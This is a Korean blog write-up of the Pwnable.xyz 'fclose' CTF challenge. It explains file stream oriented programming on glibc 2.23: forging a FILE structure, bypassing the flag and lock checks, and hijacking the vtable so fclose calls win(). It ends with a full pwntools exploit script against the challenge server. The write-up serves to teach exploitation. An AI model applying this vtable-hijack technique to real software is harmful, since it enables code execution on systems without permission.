<Wargame & CTF>/Pwnable.xyz

[Pwnable.xyz] fclose

gosoeungduk 2021. 2. 11. 17:09
반응형

fclose

#FSOP


![fclose_prob](https://i.imgur.com/E6VL7Mo.png

문제 설명은 다음과 같다.

file_info

)

file_secu

보호기법은 NX 만 걸려있다.

해당 문제는 fclose 함수에서 vtable 을 이용해 특정함수로 jump 하는 특징을 이용하는 문제이다.


소스분석 및 취약점 부분 탐색

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup();
  printf("> ", argv);
  read(0, &input, 1028uLL);
  fclose(&input);
  return 0;
}
int win()
{
  return system("cat flag");
}

중요 소스는 이게 전부이다. 얼핏 보기에도 1028 바이트를 읽어오는 read 함수가 취약해보인다.

그리고 그렇게 받아온 &INPUT 을 파일 스트림으로 이용하여 fclose 시킨다.

이를 한 번 이용해보자.


사전지식 준비 및 exploit 전략구상

// glibc/libio/iofclose.c:32

int
_IO_new_fclose (FILE *fp)
{
  int status;
  CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif
  /* First unlink the stream.  */
  if (fp->_flags & _IO_IS_FILEBUF) // _IO_IS_FILEBUF is 0x2000
  // In assembly, test ah, 0x20 is executed. If ah is 0, "_IO_un_link" can be bypassed.
    _IO_un_link ((struct _IO_FILE_plus *) fp);
  _IO_acquire_lock (fp);
  if (fp->_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
  . . .
  . . .
  . . .
 }

위는 fclose 함수이다.

해당 소스에서 눈여겨 볼 것은 _IO_file_close_it 함수와 _IO_FINISH 함수이다.

두 함수는 모두 glibc 에서 내부적으로 libio_vtable 구조체 테이블을 통해 원본 함수로 jump 한다.

해당 vtable 을 통한 함수호출 설명은 SECCON2020 lazynote 에 자세히 되어있다.

다시 문제로 돌아와서, 두 함수 각각은 아래와 같은 함수로 jump 된다.

// glibc/libio/fileops.c:1428

versioned_symbol (libc, _IO_new_file_close_it, _IO_file_close_it, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_finish, _IO_file_finish, GLIBC_2_1);
. . .
. . .

전략은 _IO_new_file_close_it_IO_new_file_finish 로 jump 할 때, File Streamvtable 의 해당 함수가 들어있는 위치를 참조해서 call 을 하게 되는데 이 때, 소스에서 fclose(&INPUT); 부분을 이용하면 call 하는 함수 주소를 바꿀 수 있다.

아래의 파일 스트림 구조체를 보자.

stdout

위는 libc 안에 있는 stdout 파일 스트림의 형태이다.

stdout2

이런 식으로 메모리에 값들이 박혀있는데 집중해야할 값은 vtable 값이다.

현재는 _IO_file_jumps 라는 vtable 시작 주소가 들어가 있다. 그리고 위에서 언급한 libio_vtable 에 따라 _IO_new_file_finish 함수는 더미를 고려하여, 아래 사진처럼 (시작주소) + 16 주소에 들어가 있을 것이다.

vtable

그러면 이렇게 생각해보자.

만약 fclose(&INPUT); 에서 INPUT 을 가상의 파일 스트림으로 만들어서 (House of Orange 기법이라고..?) vtable 주소를 ( win 함수를 담고 있는 주소 ) - 16 으로 덮으면 어떨까?

필자는 _IO_FINISH 함수를 이용할 것이므로, 아마 _IO_new_file_finish 함수로 jump 시, win 함수로 대신 jump 하여 flag를 읽을 수 있을 것이다.


여러 장애물 우회과정 ( ONLY IN libc-2.23 version )

// glibc-2.23/libio/iofclose.c:47

 /* First unlink the stream.  */
  if (fp->_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);
    ...
// in gdb

   0x7f6aa7cbf274 <_IO_new_fclose+4>:   mov    eax,DWORD PTR [rdi]
=> 0x7f6aa7cbf276 <_IO_new_fclose+6>:   mov    rbx,rdi
   0x7f6aa7cbf279 <_IO_new_fclose+9>:   test   ah,0x20
   0x7f6aa7cbf27c <_IO_new_fclose+12>:  jne    0x7f6aa7cbf380 <_IO_new_fclose+272>
   ...

이 부분에서 _IO_un_link 로 안가도록 _IO_IS_FILEBUF(0x2000)_flags 에 없도록 해야한다.
또한 _IO_file_close_it 함수도 실행 안되게 하려면 해당 flag 가 없어야한다!

// glibc-2.23/libio/iofclose.c:51

_IO_acquire_lock (fp);

이 부분이 간단하게 우회되지만 제일 이해안되는 부분이어서 열심히 타고들어가보았다.

// glibc-2.23/sysdeps/nptl/stdio-lock.h:90

#  define _IO_acquire_lock(_fp) \
  do {                                          \
    _IO_FILE *_IO_acquire_lock_file                          \
    __attribute__((cleanup (_IO_acquire_lock_fct)))                  \
    = (_fp);                                  \
    _IO_flockfile (_IO_acquire_lock_file);

간단하게 파일 스트림을 받아와서 _IO_flockfile 로 전달한다.

// glibc-2.23/sysdeps/pthread/flockfile.c:25

void
__flockfile (FILE *stream)
{
  _IO_lock_lock (*stream->_lock);
}
strong_alias (__flockfile, _IO_flockfile)

여기서 받아 온 파일 스트림의 _lock_IO_lock_lock 함수에 전달한다.

// glibc-2.23/sysdeps/unix/sysv/linux/x86_64/lowlevellock.h:108

# define __lll_lock_asm_start "cmpl $0, __libc_multiple_threads(%%rip)\n\t"   \
                  "je 0f\n\t"                      \
                  "lock; cmpxchgl %4, %2\n\t"              \
                  "jnz 1f\n\t"                      \
                  "jmp 24f\n"                      \
                  "0:\tcmpxchgl %4, %2\n\t"                  \
                  "jz 24f\n\t"
#endif

#define lll_lock(futex, private) \
  (void)                                      \
    ({ int ignore1, ignore2, ignore3;                          \
       if (__builtin_constant_p (private) && (private) == LLL_PRIVATE)          \
     __asm __volatile (__lll_lock_asm_start                      \
               "1:\tlea %2, %%" RDI_LP "\n"                  \
               "2:\tsub $128, %%" RSP_LP "\n"              \
               ".cfi_adjust_cfa_offset 128\n"              \
               "3:\tcallq __lll_lock_wait_private\n"          \
               "4:\tadd $128, %%" RSP_LP "\n"              \
               ".cfi_adjust_cfa_offset -128\n"              \
               "24:"                          \
               : "=S" (ignore1), "=&D" (ignore2), "=m" (futex),   \
                 "=a" (ignore3)                      \
               : "0" (1), "m" (futex), "3" (0)              \
               : "cx", "r11", "cc", "memory");
    ...
    ...
// in gdb 1

   0x7f6aa7cbf3a2 <_IO_new_fclose+306>: mov    esi,0x1
=> 0x7f6aa7cbf3a7 <_IO_new_fclose+311>: xor    eax,eax
   0x7f6aa7cbf3a9 <_IO_new_fclose+313>:
    cmp    DWORD PTR [rip+0x35c390],0x0        # 0x7f6aa801b740 <__libc_multiple_threads>
   0x7f6aa7cbf3b0 <_IO_new_fclose+320>: je     0x7f6aa7cbf3ba <_IO_new_fclose+330>
   ...
// in gdb 2

   0x7f6aa7cbf3ba <_IO_new_fclose+330>: cmpxchg DWORD PTR [rdx],esi
   0x7f6aa7cbf3bd <_IO_new_fclose+333>: je     0x7f6aa7cbf3d5 <_IO_new_fclose+357>
   0x7f6aa7cbf3bf <_IO_new_fclose+335>: lea    rdi,[rdx]
   0x7f6aa7cbf3c2 <_IO_new_fclose+338>: sub    rsp,0x80
   0x7f6aa7cbf3c9 <_IO_new_fclose+345>: call   0x7f6aa7d67140 <__lll_lock_wait_private>

여기가 어셈블리 지옥이었다... 간단하게 multiple_threads 상태인지 확인 후, _lock 을 확인한다.

당연하게도 싱글스레드 이므로 이 부분은 넘어간다.

그 다음에 gdb 2 부분에서 cmpxchg 명령어 부분이 있는데, 이 부분에서 해당 바이너리 실행흐름이 lock 될지 말지 결정된다.

cmpxchgdestinational 레지스터를 비교해서 같으면, source 의 데이터를 destination 에 옮긴다.

위의 경우에서는 xor eax,eaxeax 가 0 이므로 _lock 주소의 내부 값인 [rdx] 가 0 이어야 분기가 성공적으로 되어 __lll_lock_wait_private 함수를 우회할 수 있다.

결론적으로 _lock 주소의 내부 값이 0 (쓰기가 가능한 영역 주소)_lock 이 되어야한다.

// in gdb

   0x7f7190a5f2a0 <_IO_new_fclose+48>:  mov    rax,QWORD PTR [rbx+0xd8]
   0x7f7190a5f2a7 <_IO_new_fclose+55>:  xor    esi,esi
   0x7f7190a5f2a9 <_IO_new_fclose+57>:  mov    rdi,rbx
   0x7f7190a5f2ac <_IO_new_fclose+60>:  call   QWORD PTR [rax+0x10]

그리고 수 많은 장애물을 통과 후, 이 부분에 도달하게 되는데 _IO_FINISH 함수를 호출하는 순간이다.

call 하는 부분이 [rax+0x10] 인 것을 볼 수 있는데, 해당 부분은 파일 스트림의 vtablerax 에 들어가게 되고 해당 vtable 로 부터 0x10 뒤에 있는 _IO_FINISH 함수를 호출하는 것이다.

그러면 우리는 win 함수를 호출해야하므로 win 함수를 bss 같이 쓰기 좋은 곳에 넣어두고, 처음에 언급한대로 (쓴 영역의 주소 - 0x10)vtable 변수에 넣어두면 `_IO_FINISH` 실행 대신 플래그가 읽힐 것이다.


payload

from pwn import *
elf=ELF("./challenge")
#p=process("./challenge")
p=remote("svc.pwnable.xyz",30018)
pause()
p.recv()
win_addr=elf.sym['win']
INPUT=0x601260

pay=p64(0) # _flags
pay+=p64(0)*8 # _IO_read_ptr ~ _IO_buf_end
pay+=p64(0)*4 # _IO_save_base ~ _markers
pay+=p64(0) # _chain
pay+=p32(1) # _fileno
pay+=p32(0) # _flags2
pay+=p64(0xffffffffffffffff) # _old_offset
pay+=p32(0)*2
pay+=p64(0x601800)
#pay+=p64(0x601000) # _lock
pay+=p64(0xffffffffffffffff) # _offset
pay+=p64(0) # _codecvt
pay+=p64(0x601800) # _wide_data
pay+=p64(0)*3
pay+=p32(0xffffffff)
pay+=p32(0)
pay+=p64(0)*2
pay+=p64(INPUT+len(pay)+8)
pay+=p64(0)*2
pay+=p64(win_addr)
p.send(pay)
p.interactive()
반응형

'<Wargame & CTF> > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] note  (0) 2020.07.31
[Pwnable.xyz] Game  (0) 2020.05.31
[Pwnable.xyz] UAF  (0) 2019.12.30
[Pwnable.xyz] GrownUp  (0) 2019.12.29
[Pwnable.xyz]add, misalignment  (0) 2019.02.03